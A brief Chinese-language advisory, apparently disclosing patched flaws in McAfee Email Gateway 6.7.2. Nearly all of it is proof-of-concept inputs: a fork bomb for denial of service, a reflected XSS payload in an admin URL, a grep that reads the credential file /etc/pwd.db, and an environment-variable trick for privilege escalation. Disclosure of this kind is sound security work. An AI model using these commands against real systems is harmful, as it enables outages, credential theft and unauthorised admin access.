McAfee Email Gateway 6.7.2 Hotfix 2更新修复多个安全漏洞

                                                拒绝服务

[Secure Mail]: command rbash –noprofile
[Secure Mail]: :(){:|:&};:

跨站脚本

https://www.example.com/admin/queuedMessage.do?method=getQueueMessages&queueMsgType=<script>alert("XSS");</script>&QtnType=9

信息泄露

[Secure Mail]: command rbash –noprofile
[Secure Mail]: grep -a '.*' /etc/pwd.db

本地权限提升

[Secure Mail]: command rbash –noprofile
[Secure Mail]: declare -x USER="admin"
If you want to check the new privilege:
[Secure Mail]: cmd_admin set user unlock
*** Invalid command: Usage - set user unlock <USER ID> ***
[Secure Mail]: cmd_admin set user unlock admin
Cannot unlock yourself.
[Secure Mail]: exi